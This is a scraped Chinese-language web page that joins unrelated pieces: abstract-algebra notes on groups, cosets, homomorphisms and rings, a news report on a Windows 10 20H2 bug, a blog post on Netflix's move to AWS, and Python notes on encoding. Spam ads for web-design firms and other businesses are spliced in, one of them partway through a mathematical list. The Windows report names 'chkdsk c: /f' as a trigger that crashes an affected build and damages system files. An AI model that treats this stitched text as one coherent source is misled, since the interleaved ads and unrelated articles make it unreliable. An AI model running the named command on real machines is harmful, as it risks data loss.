a^i^=a^j^,其中1≤i<j≤r,就有e=a^j-i^ (1≤ j-i<r,a^i^=a^j^右側同*a-i),而已知r是使得a^r^=e的最小整數。
a,a^2^,a^3^,…,a^r-1^,a^r^都各不相同,即集合S的元素個數大於|G|,與S⊆G矛盾。綜上,r≤|G|

子群性質

  • 循環群的子群也是循環群
  • 循環群是無限階的,則其子群除了{e}也是無限階的
  • 循環群是n階的,對於每個n的因子,有且只有一個循環子群

置換群和伯恩賽德定理

置換

成立條件

  • 對於非空集合S,\(S\rightarrow S\)的雙射稱為S的置換

運算

先運用\(\pi_2\),再運用\(\pi_1\)

  • 左複合 $\circ \(:\)\pi_1\circ\pi_2$
  • 右複合 $\diamond \(:\)\pi_2\diamond\pi_1$

置換群

定義

  • 具有n個元素的集合S中所有的置換組成的群\(<S_n,\circ>\),其中元素個數有 n! 個
  • 任意\(<S_n,\circ>\)的子群都是S上的置換群

對稱群

\(S_n\)稱為S的對稱群

交錯群

\(S_n\)中所有偶置換組成的群,記為\(A_n\)\(|A_n|=n!/2\)

輪換

定義

設s是S={1,2,…,n}上的n元置換,且:

\[s(i_1)=i_2, s(i_2)=i_3, …, s(i_k-1)=i_k, s(i_k)=i_1 \]

\(\forall\ x\in S,\ x\ne i_j (j=1,2,…,k)\),有 s(x)=x(即s 不改變其餘元素),稱s是S上的一個k輪換, 當k=2, s也稱為對換

記法

\((i_1,i_2,…,i_k)\)

對換
定義

k=2時

性質
  • 任意輪換可以寫成對換的乘積。即

    (a1 a2…ar)=(a1 ar)(a1 ar-1)…(a1 a3)(a1 a2)

誘導的二元關係

定義

\(<G,\circ>\)為S的一個置換群,則其誘導的二元關係有

\[R=\{<a,b>|\pi(a)=b,\ \pi\in G\} \]

性質
  • 是一個等價關係(條件:自反性、對稱性、傳遞性)

三元素集的置換群

對稱群

S~3~={ (1), (1 2), (1 3), (2 3), (1 2 3), (1 3 2) }

交錯群

A~3~={ (1), (1 2 3), (1 3 2) }

伯恩賽德定理

\(\pi\)是劃分S的置換群的一個置換,\(\phi(\pi)\)指置換中不變元個數

\[等價類數目=\frac{1}{|G|}\sum_{\pi\in G}\phi(\pi) \]

陪集和拉格朗日定理

陪集

定義

設H是G的子群,\(a\in G\),則

  • aH={a*h|h∈H} H關於a的左陪集
  • Ha={h*a|h∈H} H關於a的右陪集

a稱為陪集的代表元素

性質

元素\(\Rightarrow\)陪集

  • 陪集元素個數相等,\(\forall a\in G\),|aH|=|H|

  • a∈H$\iff $aH=H,Ha=H

  • a∈aH

    網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

    透過資料庫的網站架設建置,建立公司的形象或購物系統,並提供最人性化的使用介面,讓使用者能即時接收到相關的資訊

  • b∈aH $\iff $ bH=aH

陪集與陪集

  • aH和bH關係只有兩種
    • aH∩bH=\(\varnothing\)(Ha∩Hb=\(\varnothing\)
    • aH=bH(Ha=Hb)

陪集\(\Rightarrow\)元素,a/b屬於同一陪集

  • aRb \(\iff\) a^-1^ *b∈H \(\iff\) b∈aH \(\iff\) aH=bH

所有左陪集的集合∑剛好是G的一個劃分

特殊關係

劃分

  • 每個元素非空。不存在空塊
  • 所有元素並集為G
  • 任兩個元素交集為空

等價關係

關係R滿足自反、對稱、傳遞

  • 若<x,y>\(\in\)R,稱x等價於y,記作x~y

等價類

有等價關係的元素組成的一個集合,記為[a]~R~

  • a稱為[a]~R~的代表元素

商集 A/R

以R的所有等價類作為元素的集合稱為A關於R的商集

子群的指數

G對H的陪集的集合的基數,即陪集的數目,記為[G:H ]

拉格朗日定理

H為G的子群,則:

  • R={<a,b>|a∈G,b∈G且a^-1^ *b∈H}是G上的一個等價關係。對於a∈G,若記[a]~R~={x|x∈G且<a,x>∈R},則[a]~R~=aH
  • 如果G是有限群,|G|=n,|H|=m,則m|n。

推論

  • 素數階群的子群一定是平凡群。(素數階的群不存在非平凡子群)
  • 設<G,*>是n階群,則對任意a∈G,有a^n^=e
  • 有限群中,元素的階能整除群的階
  • 素數階群一定是循環群,且每個非幺元均為生成元

正規子群和商群

正規子群 / 不變子群

定義

H\(\leq\)G,\(\forall g\in G\),gH=Hg,記為H\(\unlhd\)G

判別

\(\forall a\in G\)

  • aH=Ha,(即H\(\unlhd\)G)
  • \(\forall h\in H\),aha^-1^\(\in\)H
  • aHa^-1^\(\subseteq\)H
  • aHa^-1^=H

如果G是交換群,則G的任何子群都是正規子群

[G:H]=2 , 則H是G的正規子群

單群

G除了平凡子群外無其他正規子群

性質

  • 正規子群與子群的乘積是子群
  • 正規子群與正規子群的乘積是正規子群
  • 傳遞性

商群

運算

在G/H上定義陪集乘法運算∙,對於任意aH,bH∈G/H, 有

\[aH·bH=(ab)H \]

定義

設G為群,H為正規子群,則G/H關於運算∙構成一個群,稱為G的商群

性質

  • 商群G/H的單位元是eH(=H)
  • 在G/H中aH的逆元是a^-1^H

推論

  • 若G是交換群,G/H也是交換群
  • 商群的階是G階數的因子

同態與同構

同態映射 / 同態 ~

定義

<A,\(\star\)>與<B,*>滿足\(f(a_1\star a_2)=f(a_1)*f(a_2)\)

稱 f 為同態映射 / 同態,<A,\(\star\)>同態於<B,*>

記為 A~B

同態象

<f(A), *>為<A,\(\star\)>的一個同態象

自然同態

群G到商群G/H的同態,為 a\(\rightarrow\)aH

分類

  • f:A\(\rightarrow\)B 為滿射,f 稱為滿同態
  • f:A\(\rightarrow\)B 為入射,f 稱為單一同態
  • f:A\(\rightarrow\)B 為雙射,f 稱為同構映射
同構

f 為同構映射時,稱<A,\(\star\)>與<B,*>同構,記為A\(\cong\)B

  • 同構關係是等價關係
凱萊定理

任何一個有限群同構於一個置換群。

置換群即運算表中所有行 OR 所有列

自同態 / 自同構

自身到自身的映射

同態映射性質

在 f 作用下

  • <A, $\star $>的所有性質在同態象上保留
  • 若同構,則<B, *>擁有<A, $\star $>的所有性質

同態核

定義

A中元素映射 f 後為幺元。記為 Ker(f),稱為 f 的同態核

Ker(f) = {x|x∈G且f(x)=e’}

性質

  • 同態核N為A的正規子群
  • f 為單同態 \(\iff\) Ker(f)={e}
  • 若Ker(f)=N ,則 f(a)=f(b) \(\iff\) aN=bN

同態基本定理

  • 若 f 為A到B的滿同態,Ker(f)=N,則A/N\(\cong\)B
  • 若h為A自然同態,存在A/N到B的同構g,有f=gh

第一同構定理 / 商群同構定理

  • 若 f 為A到B的滿同態,Ker(f)=N,H\(\unlhd\)A 且 N\(\subseteq\)H
    • 則 A/H \(\cong\) B/f(H)
  • 若 H\(\unlhd\)A 且 K\(\unlhd\)A 且 K\(\subseteq\)H
    • 則 A/H \(\cong\) (A/K) / (H/K)

環與域

定義

對於<A, +, ·>有兩種二元運算的代數系統

  • <A, +>是阿貝爾群

  • <A, ·>是半群

  • 運算 · 對於 + 是可分配的,即\(\forall a,b,c\in A\)

    a·(b+c)=(a·b)+(a·c)

    (b+c)·a=(b·a)+(c·a)

為了區別環中的兩個運算,通常稱+運算為環中的加法,·運算為環中的乘法。

零元

加法單位元,記為0(\(\theta\))

單位元

乘法單位元,記為1

負元

加法逆元,記為-x

逆元

乘法逆元,記為x^-1^

例子

  • <R,+,·> 實數環
  • <Q,+,·> 有理數環
  • <I,+,·> 整數環
  • <M~n~(I),+, ·> n階整數矩陣環
  • <N~k~ , +~k~ , ×~k~> 模k整數環
  • <Z[i], +, ·>(Z[i]=a+bi,a,b\(\in\)Z,i^2^=-1) 高斯整數環 (複數)
  • <R[x] ,+, ·> R[x]為實數多項式

性質

與理解的加法乘法相同,消去律不一定

  • \(\theta\)=\(\theta\)·a=\(\theta\)
  • a·(–b)=(–a)·b = –(a·b)
  • (–a)·(–b)=a·b
  • a·(b–c)=(a·b)–(a·c)
  • (b–c)·a=(b·a)– (c·a)

特殊環

交換環

<A, · >可交換

含幺環

<A, · >含幺元

無零因子環

等價於乘法消去律)

\(\forall a,b\in A, a\neq\theta, b\neq \theta\),則必有\(a·b\neq\theta\)

零因子

\(a,b\in A, a\neq\theta, b\neq \theta\),有\(a·b=\theta\),則a或b為零因子

整環

定義

(基於乘法運算的性質)

交換、無零因子 OR 含幺、無零因子

即同時滿足交換環、含幺環和無零因子環的條件

子環

定義

環的子集,也是環

判定定理

\(\forall a,b\in S,a-b\in S,a·b\in S\)

定義

滿足如下:

  • <A, +>是阿貝爾群
  • <A – {\(\theta\)}, ·>是阿貝爾群
  • 運算 · 對運算+是可分配的

例子

  • 實數域
  • 有理數域
  • 〈Z~n~,+~n~, · ~n~ 〉是域的充要條件是n是素數

域與整環的關係

  • 域一定是整環
  • 有限整環一定是域

環的同態定義

V~1~=<A,*,∘>和V~2~=<B,⊛,◎>是兩環,其中*、∘、⊛和◎都是二元運算。f 是從AB的一個映射,使得對\(\forall\)a, b\(\in\)A有:

f(a*b)=f(a)⊛f(b)

f(ab)=f(a)◎f(b)

則稱f是環V1到環V2的同態映射

分類

如果f單射、滿射和雙射,分別稱f單同態、滿同態和同構

同態像及其特性

<f(A),⊛,◎>是<A,*,∘>的同態像

  • 任何環的同態像是環
綜合例題

設<R,+, · >是環,其乘法單位元記為1,加法單位元記為0,對於任意a,b\(\in\)R,定義

a⊕b=a+b+1,a⊙b=a·b+a+b。求證: <R, ⊕, ⊙ >也是含幺環,並與<R,+, · >同構。

證明:

首先證明<R, ⊕, ⊙ >是環。

(1) <R, ⊕ >是阿貝爾群。

(2) <R, ⊙ >是含幺半群。

(3) ⊙對⊕可分配,再證明同構。

(4)構造雙射f: f(a)=a-1,驗證同構性。

(1) <R, ⊕ >是阿貝爾群。

顯然R關於⊕是封閉的且⊕運算是可交換的。

結合性:對於任意的x,y,z\(\in\)R,有

(x⊕y)⊕z=(x+y+1)⊕z=x+y+z+2,而

x⊕(y⊕z )= x⊕ (y+z+1)=x+y+z+2, 即⊕運算滿足結合律。

幺元:對於任意x\(\in\)R, x⊕-1= x+(-1)+1=x,-1是R關於⊕運算的幺元。

逆元:對於任意x\(\in\)R, x⊕(-x-2)= x+(-x-2)+1=-1, +(-x-2)是x關於⊕運算的逆元。

所以<R, ⊕ >是阿貝爾群。

(2) <R, ⊙ >是含幺半群。

顯然R關於⊙是封閉的、可交換的。

結合性:對於任意的x,y,z ÎR,有

(x ⊙ y) ⊙ z=(xy+x+y) ⊙ z=xyz+xz+yz+xy+x+y+z,而

x ⊙(y ⊙ z )= x ⊙ (yz+y+z)=xyz+xy+xz+yz+x+y+z, 即⊙運算滿足結合律。

幺元:對於任意xÎR, x ⊙ 0=0+ x+0=x,0是R關於⊙運算的幺元。

所以<R, ⊙ >是含幺半群.

(3) ⊙對⊕可分配

對於任意的x,y,z\(\in\)R,有

x⊙(y⊕z )= x⊙(y+z+1)=xy+xz+x+x+y+z+1=xy+xz+2x+y+z+1

(x⊙y)⊕(x⊙z)=(xy+x+y)⊕(xz+x+z)=xy+xz+2x+y+z+1

同理可以證明右可分配性。

綜上所述, <R, ⊕, ⊙ >也是含幺環

再證明同構。

構造雙射f: f(a)=a-1,驗證同構性。

(4)證明同構。構造函數f: f(x)=x-1

雙射:對於任意x\(\in\)R,則有x+1\(\in\)R,使得f(x+1)=x,所以f是滿射

x,y\(\in\)R,若f(x)=f(y),則有x-1=y-1,即x=y,所以f是單射。

同態: f(x+y)=x+y-1

f(x)⊕f(y)=(x-1)⊕(y-1)=x-1+y-1+1=x+y-1

所以f(x+y)= f(x)⊕f(y)

又因為 f(x·y)=x·y-1

f(x)⊙f(y)=(x-1) ⊙(y-1)=(x-1)· (y-1)+x-1+y-1

​ =x·y-x-y+1+x-1+y-1=x·y-1

所以f(x·y)= f(x)⊙f(y)

​ 綜上,<R, ⊕, ⊙ >與<R,+, ∘ >同構。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※想知道最厲害的網頁設計公司嚨底家"!

RWD(響應式網頁設計)是透過瀏覽器的解析度來判斷要給使用者看到的樣貌

檢查硬碟完整性竟導致系統資料毀損,外媒發現 Windows 10 20H2 新問題_網頁設計

※推薦評價好的iphone維修中心

擁有專業的維修技術團隊,同時聘請資深iphone手機維修專家,現場說明手機問題,快速修理,沒修好不收錢

Windows 10 每次更新出現 Bug 已經不是什麼新聞,最近德國媒體 Planet 3D Now 就發現了一個很有問題的 Bug。這個問題一般人未必會用得到,但稍微懂一點電腦的人可能比較容易觸發。根據引發的狀況,無論如何都會出現 BSoD 藍色當機畫面,當機畫面顯示後會進入系統自動修復程序,但根據 Planet 3D Now 的報導,他們發現這個自動修復程序仍然無法解決這個狀況,並發現系統檔案在這個過程中已經毀損。而目前判斷僅有系統版號為 19042.685 的 Windows 10 系統將會出現這個問題,即便虛擬系統環境下,也能重現這個 Bug:

▲Windows 10 這次被自己內建的指令打敗了(圖片來源)

很多熟悉 Windows 系統的玩家多半知道一些終端機指令的實用操作,chkdsk 就是很多玩家熟悉的「檢查硬碟」指令。這個指令搭配一些參數後,可以檢測硬碟完整度,確認硬碟是否有嚴重的損壞或系統資料的毀損。這個指令相當歷史悠久,筆者至少記得在 DOS 系統能使用,而最新的 Windows 10 依然保有這個指令功能。不過這個堪稱骨灰級的指令,卻成為 Windows 10 20H2 的被發現的新問題來源之一。

一個更新竟讓專職檢查硬碟的指令成為當機兇手

根據外媒 Planet 3D Now 給出的結論,這個現象能在一般電腦與虛擬機器中發現,非常容易觸發。考慮到一般人未必會使用這個指令檢查硬碟,因此若非具備一定程度的電腦或 Windows 系統知識,未必會引發這個問題。根據 Planet 3D Now 與其他網友的測試後,發現只要在管理員權限下開啟終端機並輸入 chkdsk c: /f,就會立刻當機,並提示「NTFS FILE SYSTEM 錯誤」,嚴重的甚至會讓系統資料毀損:

▲國外網友很熱心的針對一整個教室的電腦實驗這個 Bug,發現通通無一例外的當機(圖片來源)

目前這個問題已經回報給 Microsoft,相信不久之後這個問題將能獲得解決。不過,一個小小的 chkdsk 指令竟然直接能讓 Windows 10 最新版本系統當機,這對微軟來說的確是個嚴重的形象問題。作為一個電腦編輯, chkdsk 指令雖然不見得天天使用,但至少知道這是個 Windows 內建的功能之一。如果內建功能都能讓系統出現嚴重的當機,那麼 Windows 10 20H2 系統在用戶心中的信賴度將會大幅下降。

網頁設計最專業,超強功能平台可客製化

窩窩以「數位行銷」「品牌經營」「網站與應用程式」「印刷品設計」等四大主軸,為每一位客戶客製建立行銷脈絡及洞燭市場先機。

另外,Planet 3D Now 根據網友們的反覆測試後提出一個新的發現,就是已經過安裝更新,使得系統版本號碼變更為 19042.685 的 Windows 10 20H2 系統肯定會出現這個狀況。但乾淨安裝的 Windows 10 20H2 並不會引發這個問題。從這個發現反推回微軟的更新時間表,可以發現 KB4592438 這個更新正好符合這些特徵。因此若已經安裝此更新的 Windows 10 20H2 系統有可能引發這個 Bug :

▲目前得知更新後成為特定版本的 Windows 10 將出現這個問題(圖片來源)

消息來源:PC Watch

您也許會喜歡:

【推爆】終身$0月租 打電話只要1元/分

立達合法徵信社-讓您安心的選擇

台北網頁設計公司這麼多該如何選擇?

網動是一群專業、熱情、向前行的工作團隊,我們擁有靈活的組織與溝通的能力,能傾聽客戶聲音,激發創意的火花,呈現完美的作品

​雲中奈飛(一):Netflix的上雲之旅_網頁設計公司

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

網站的第一印象網頁設計,決定了客戶是否繼續瀏覽的意願。台北網動廣告製作的RWD網頁設計,採用精簡與質感的CSS語法,提升企業的專業形象與簡約舒適的瀏覽體驗,讓瀏覽者第一眼就愛上它。

作者按: 

Netflix(譯為奈飛/網飛)公司自1997年創立以來,已發展成為美國最大的互聯網流媒體服務商。它從2008到2015年間長達七年的將其所有IT系統從自有數據中心遷移到AWS之上的旅程,在當時可謂前無古人的創舉,對公有雲的發展、傳統企業上雲及基於雲的業務轉型等都有很大的推動和促進作用。雖然已過去多年,有些東西已略微顯得過時,但奈飛上雲的理念、步驟、做法等,對當今企業上雲及用雲仍有很大的參考價值。 

因此,在接下來的幾周內,筆者打算花上些許時間,對奈飛的上雲之旅,及其雲上運行,基於網上公開資料,從上雲歷程、雲上架構、支撐團隊、雲上安全等維度做下梳理和總結,形成系列文章。它山之石,可以攻玉。本文為這系列文章的第一篇,介紹奈飛的總體上雲歷程。

 

本文目錄

零、公司簡介………………………………… 1

一、發端………………………………………. 4

二、驗證………………………………………. 6

三、進行………………………………………. 8

四、完成………………………………………. 11 

五、筆者感受

 

零、公司簡介

 

 

Netflix(https://www.netflix.com/)公司總部設在美國加利福尼亞州,是全世界最大的視頻流媒體平台,在除中國大陸地區以外的所有國家和地區均提供視頻點播服務,相當於國內的愛奇藝、優酷和騰訊視頻等視頻網站。 

1997年,當Reed Hastings和Marc Randolph創建 Netflix時,這家公司唯一業務是DVD郵購業務。2002年上市,股票發行價為15美元;2007年開始發展流媒體業務;2013年,發布其首部原創電視劇《紙牌屋》;2016年宣布全球化,全世界200多個國家和地區可訂閱Netflix觀看電影電視劇。 2017年,Netflix用戶數量超過美國有線電視用戶總數。如今,Netflix的股價是419美元,已成為世界上大型的電視劇和電影製片公司之一、美國最大的互聯網流媒體服務商,在世界範圍內擁有很強的影響力,高峰時刻佔據了互聯網流媒體流量的33%。 

 

除了商業上非常成功外,Netflix在技術上也非常成功,它雖然是家娛樂公司,但實際上是一家技術公司。從2008年開始,直到2015年底,它花了整整七年時間,把公司整套IT系統搬到了AWS上。這可謂前無來者。除此之外,Netflix在分佈式系統開源上具有巨大的影響力,其開源項目叫做Netflix OSS(Open Source Software),涵蓋範圍基本包括了業界絕大部分分佈式系統領域,包括但不限於: 

·       公共運行時服務及庫,比如Eureka, Ribbon, Hystrix

·       大數據,比如Genie

·       構建和發布工具,比如Asgard/Spinnaker

·       數據持久化,比如EVCache

·       可觀察性、可靠性和性能,比如Simian Army 

 

一、發端

 

Netflix的上雲之旅始於2008年8月。從公開資料來看,當時主要有兩個驅動力促使其上雲: 

(1)發生了系統宕機。 

當時,Netflix的IT系統運行在高端昂貴的IBM服務器、Oracle數據庫和SAN存儲搭建的平台之上。某次,因為SAN存儲硬件故障導致的數據庫宕機,使得Netflix的DVD配送服務不得不停止了3天。這個故障使得公司管理層開始意識到,由IT團隊利用昂貴的平台來保證系統可用性的做法存在問題,更應該從應用層面去保障系統可用性。因此,需考慮IT系統從傳統垂直擴展的帶有單點故障的架構,轉向高可用、水平擴展的分佈式架構。與此同時,他們開始思考是否可以利用剛剛出現的低成本雲基礎設施來替代昂貴傳統IT基礎設施來支撐需具備高可用性的應用。

 

 

(2)新業務帶來巨大數據中心擴容壓力。 

Netflix的傳統DVD寄送服務的服務模式下,客戶瀏覽Netflix網站選擇DVD,然後公司開始寄送。因為受到DVD來回寄送速度的限制,通常是以周為周期給客戶寄送DVD。因此,這種傳統業務模式對IT系統的業務壓力較輕。 

傳統DVD寄送業務模式

 

儘管DVD業務增長迅速,但2007年Netflix仍然決定推出第一款流媒體產品“Watch Now”來革新其業務。這種業務也是它後來蓬勃發展的關鍵因素之一。這種新服務模式下,用戶與Netflix網站之間的交互頻率是傳統DVD寄送業務下交互頻率的100倍甚至不止。 

流媒體服務模式

 

新模式下,用戶每周看的視頻數量是之前的十倍,而每個視頻對數據中心中的IT系統產生的流量則是百倍,因此每個用戶對IT系統產生的流量是之前的千倍。也就是說,只要0.1%的用戶從傳統模式轉向新模式,那IT系統的容量就必須翻倍。其實這種規律也很常見。即使用戶並沒有顯著增長,只要因為業務模式的變化,對IT系統的壓力也可能成倍增加。 

這就要求Netflix找到一種快速擴容數據中心的方法,因為根據當時的業務預測,其用戶很快就會轉向在線流媒體服務模式。時間來到2009年,隨着新業務的發展,Netflix面臨兩個選擇:自建數據中心,或利用其業務競爭對手亞馬遜於2006年才發布的AWS雲。前者需要大量前期資金投入,並且未來的容量需求無法預測且是變化不定的,而後者則是在視頻流領域的最大競爭對手Amazon的雲上開展業務。Netflix決定選擇後者。他們認為,相比在不實際產生業務價值的數據中心上做前期巨大投入,將資金投入在視頻內容和開發人員身上會更有價值。

 

 

二、驗證

於是這一年(2009年),Netflix開始研究利用AWS雲來開展業務的各種風險,包括業務競爭風險、規模性風險、商業風險和公關風險等。就業務競爭風險,Netflix與AWS溝融了AWS是如何與Amazon Premier做業務分離的。然後開展實驗去驗證AWS上的資源快速擴容能力。Netflix還與AWS簽訂了首批企業許可協議,這種協議下Netflix不需要通過授權信用卡方式來使用AWS資源,而信用卡授權是當時大多數人在AWS上消費時使用的主要方式。 

隨着兩家合作消息的傳開,2010年4月,紐約時報還發表了一篇關於Netflix和AWS業務的文章,說兩者將進行業務合作。請注意其中的“peculiar(特有)“一詞,表示那時候企業上雲是新聞,而上到競爭對手的雲上更是新聞。 

 

當時Netflix還諮詢了一些業界專家,專家們認為這種做法非常瘋狂,因為當時很少有企業這麼做,而且企業業務上雲在當時還是一個非常不成熟的策略。但Netflix決定堅持下去,成為首批上雲企業客戶之一。 

接下來,Netflix實驗性地將一些沒有真正面向客戶的應用遷移到AWS上。首先從電影編碼開始,當時其只有數據中心沒有足夠的容量來容納編碼服務器。有一次Netflix申請3000台服務器,結果AWS一個小時內就交付了,這就驗證AWS資源交付的彈性和及時性。而且隨着這項工作的完成,不用的機器即被釋放,這證明了雲計算的“按需使用和付費”特徵。

接下來驗證視頻服務QoS日誌上雲。隨着進入數據中心數據庫的流量越來越多,這些流量正在溢出,而且自己的機房缺乏足夠的存儲空間來保存想要的信息。於是,Netflix利用S3來存儲數據,利用EMR來處理數據。Netflix是Hadoop早期用戶之一,曾與AWS合作將Hive作為基於EMR的處理選項。

 

※綠能、環保無空污,成為電動車最新代名詞,目前市場使用率逐漸普及化

台中景泰電動車行只是一個單純的理由,將來台灣的環境,出門可以自由放心的深呼吸,讓空氣回歸自然的乾淨,減少污染,留給我們下一代有好品質無空污的優質環境

 

到2010年,可行性驗證基本完成,Netflix認為上雲看起來是可行的。於是2011年,Netflix作出決定,不再擴容自有IDC。

 

三、進行

 

Netflix開始真正地要在AWS雲上起飛了。從最簡單的API服務開始,然後是最簡單的Web網頁,然後是更多的API和網頁。

 

到2010年底,Netflix成功地將網站前端都遷移到了AWS上,但後端依然在自有數據中心內。

 

用戶訪問流量還是進入其自有數據中心,但是有選擇地將部分流量利用HTTP Redirect將請求轉向AWS Cloud。這其實也就是我們現在常常提到的金絲雀模式,通過導入部分用戶到新環境上來驗證和逐步地完成系統遷移。

 

 

接下來是數據遷移。2010年的主要工作之一,是將主數據系統放在數據中心,將副本放在雲中,並將數據從本地持續地同步到雲中。

 

 

2011年,Netflix決定將所有數據放到雲上。其中一個問題是如何做數據備份。Netflix沒有採用當時常見的利用本地數據中心中的磁帶來備份雲中數據的做法,而是充分利用了S3的安全性和持久性,用不同的賬戶在不同的AWS區域中創建S3存儲桶,然後將生產數據導入生產區域S3存儲桶,再經過壓縮和加密並傳送到容災區域的桶中。利用不同的賬戶,主要是從安全角度考慮。後來,AWS發布了Glacier后,Netflix利用它來做長期歸檔的數據存儲。

 

 

 

到2015年,除了計費和賬單系統外,其餘所有系統都已經遷移到AWS上了。到2016年1月4日,Netflix完成了最後這兩個系統的遷移,詳細信息請參加其公司博客https://netflixtechblog.com/netflix-billing-migration-to-aws-451fba085a4。

 

 

四、完成

 

2016年2月,Netflix宣布其上雲遷移工作全部完成。這一年,Netflix的用戶數是2008年開始上雲遷移時候的8倍,而用戶的月度觀看視頻數則有幾千倍的增長,用戶遍布全球超過130個國家,Netflix也成為了一家國際化視頻服務提供商。

 

到2017年,除了CDN由其自建外,Netflix使用AWS來滿足其幾乎所有計算和存儲需求,包括數據庫、分析、建議引擎、視頻轉碼等數百種功能。而且,Netflix系統的可用性在持續增加,正在不斷接近99.99%的既定目標。

  • Netflix的視頻服務在高峰時段佔據了高達37%的Internet流量。相比之下,YouTube 僅佔到15.6%,網頁瀏覽約 6%, Facebook約2.7%, Amazon Instant Video 約2.0%。

  • 在AWS上共利用超過10萬個 EC2 Instances 的80萬CPU Cores,且在此基礎上有約 20% 的波動。

  • 在每個服務區域上的 AWS Elastic Load Balancing 的流量超過 50Gbps

  • 在 S3 上存儲和管理超過15億個對象的 60 PB 的數據。其中每天要丟棄超過 400TB 的過期數據以及新增 600TB 的數據。

 

2016年Netflix在AWS上的系統架構:

儘管降低成本支出並不是Netflix上雲的主要出發點之一,但是實際上,現在每個視頻的播放成本是當初利用自有數據中心的幾分之一,這是一種非常可觀的額外收益。這主要歸功於雲的彈性,使得Netflix可以持續地優化實例類型,近乎實時地增加或減少所用的資源,而不需要維持大規模的備用容量,以及公有雲的規模不斷擴大帶來的單位成本下降。 

那為什麼需要7年時間才能完成上雲遷移呢?這是因為全業務上雲是一項艱巨的工作,需要做好多的艱難決策。可以想到的是,最簡單的方式是將所有系統緣分不斷地搬到雲上,但是隨着系統一起搬過去的還有你在傳統數據中心中遇到的所有問題和限制。因此,Netflix選擇了一條另外的道路,重構所有系統,徹底改變公司IT運營方式,將單體應用改變為微服務架構應用、重構數據模型、使用NoSQL數據庫。將過去那種預算嚴格受控制、版本發布嚴格受管控、花幾周時間來做物理容量擴容的傳統方式,改變為持續集成和發布、技術團隊獨立做決策、基於松耦合DevOps環境的新方式。這種方式使得Netflix花了七年時間才完成上雲之旅,但是正是這種轉變,也使得它成為了一家國際化的網絡視頻服務提供商。 

五、筆者感受

 

大膽決策,開先河。不說10年前,就是在現在,要不要上(公有)雲、源代碼和核心數據能不能上雲、雲上安全怎麼搞、以什麼步驟上雲、應用要不要做架構升級等等這些問題,依然是評估上雲時會引發爭論的話題。而十年前的Netflix,從自身業務出發,做出了艱難決策,決定把資金用在核心業務上,將數據中心外包給公有雲,這前無來者,開了業界先河。要為他們的眼光、勇氣和決心點贊!

先易后難,保安全。Netflix並非倉促上陣,而是總體上執行先易后難、先驗證再推廣的策略。從最簡單的API、網頁前端、離線視頻編碼系統等開始,做技術可行性驗證。驗證成功后,再推廣至其它系統,最後做最核心的賬單和支付系統遷移,在保障業務穩定和用戶體驗的前提下,花了七年時間才完成全部遷移工作。要為他們的務實精神點贊!

以終為始,高標準。Netflix並沒有簡單地將其IT系統從其自有數據中心搬到AWS上,而是以終為始,高標準完成遷移工作。“終”是系統的可用性要達到四個九,確保用戶體驗。要實現這個目標,需要在遷移上雲前對應用做分佈式改造。只有這樣,才能充分利用雲的彈性和分佈式能力。而且,Netflix主要利用的是AWS的IaaS,自研了全球分佈的PaaS平台。一方面是因為當時AWS所提供的是以IaaS為主,還考慮到了供應商綁定以及未來多雲等可能。這些做法都具有開創性和前瞻性,不僅這種做法對後來更多用戶如何上雲極具參考價值,而且Netflix將其PaaS中很多組件都開源了,直接促進了行業發展。要為他們對自己的嚴格要求和對業界的貢獻點贊!

 

參考資料:

  • 復盤Netflix發展史:如何用20年成為一家千億美元公司?,克魯斯2018年5月14日。https://www.gelonghui.com/p/179693

  • Completing the Netflix Cloud Migration,https://media.netflix.com/en/company-blog/completing-the-netflix-cloud-migration,2016.1

  • YouTube video,Globally Distributed Cloud Applications at Netflix,October 2012,Adrian Cockcro

  • Migrating to Cloud – Lessons from Netflix, Brought Up to Date,Adrian Cockcroft,https://media.netflix.com/en/company-blog/completing-the-netflix-cloud-migration

  • Companies Slowly Join Cloud-Computing,By Brad Stone and Ashlee Vance,https://www.nytimes.com/2010/04/19/technology/19cloud.html

 

感謝您的閱讀,歡迎關注我的微信公眾號:

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

※如何讓商品強力曝光呢? 網頁設計公司幫您建置最吸引人的網站,提高曝光率!

以設計的實用美學觀點,規劃出舒適、美觀的視覺畫面,有效提昇使用者的心理期待,營造出輕鬆、愉悅的網站瀏覽體驗。

【python系統學習16】編碼基礎知識_網頁設計公司

※想知道最厲害的網頁設計公司嚨底家"!

RWD(響應式網頁設計)是透過瀏覽器的解析度來判斷要給使用者看到的樣貌

編碼

計算機是怎麼傳輸和存儲數據的?

就是把人類認識的中英文字、其他國家語言、数字甚至運算符等符號轉成二進制的0、1,並進行存儲和傳輸。

編碼

人類語言:中英文字、其他國家語言、数字甚至運算符等符號

計算機語言:二進制的0、1【沒錯,計算機只認識0和1】

編碼:將人類語言轉換為計算機語言。

除了0、1這些阿拉伯数字,像a、b、c這樣的52個字母(包括大小寫),還有一些常用的符號(例如*、#、@等)在計算機中存儲時也要使用二進制數來表示,而具體用哪些二進制數字錶示哪個符號,理論上每個人都可以有自己的一套規則(這就叫編碼規則,形成編碼錶)。

如果使用了不同的編碼規則,就會有計算機識別不了的情況,出現亂碼

進制

二進制、八進制、十六進制。

八進制和十六進制分別是二進制的3次方和4次方。方便和二進制之間非常直接的相互轉換

二進制

由0和1構成的

二進制 十進制
00 0
01 1
10 2
11 3
100 4
101 5
110 6
111 7
1000 8
  • 二進制的00,代表十進制的0
  • 二進制的01,代表十進制的1
  • 二進制的10,代表十進制的2【笑話:世界上有10種人,懂二進制的和不懂二進制的】
  • 二進制的11,代表十進制的3
  • 二進制的100,代表十進制的4
  • 以此類推…
  • 當有兩位數時,我們可以表示0到3,共4種狀態,即2的平方
  • 當有三位數時,我們可以表示0到7,共8種狀態,即2的三次方
  • 當有八位數時,我們可以表示0到255,共256種狀態,即2的8次方

八進制

使用0、1、2、3、4、5、6、7組成的

十六進制

使用0、1、2、3、4、5、6、7、8、9、a、b、c、d、e、f組成的

ASCII編碼錶中的“K”

二進制 八進制 十進制 十六進制 字母
01001011 113 75 4B K

注意這裏還是大寫的字母K哦~

存儲單位

計算機里的存儲單位

位/比特(bit)

位:又叫比特(bit)是計算機里最小的存儲單位。用來存放一位二進制書,即0或1。

字節(byte)

八個比特是一個字節,是計算機里最常用的單位。簡寫“B”

千字節(Kilobyte)

兆字節(Megabyte)

簡稱“兆”

吉字節(Gigabyte)

又叫千兆

單位換算

1B(byte 字節) = 8bit
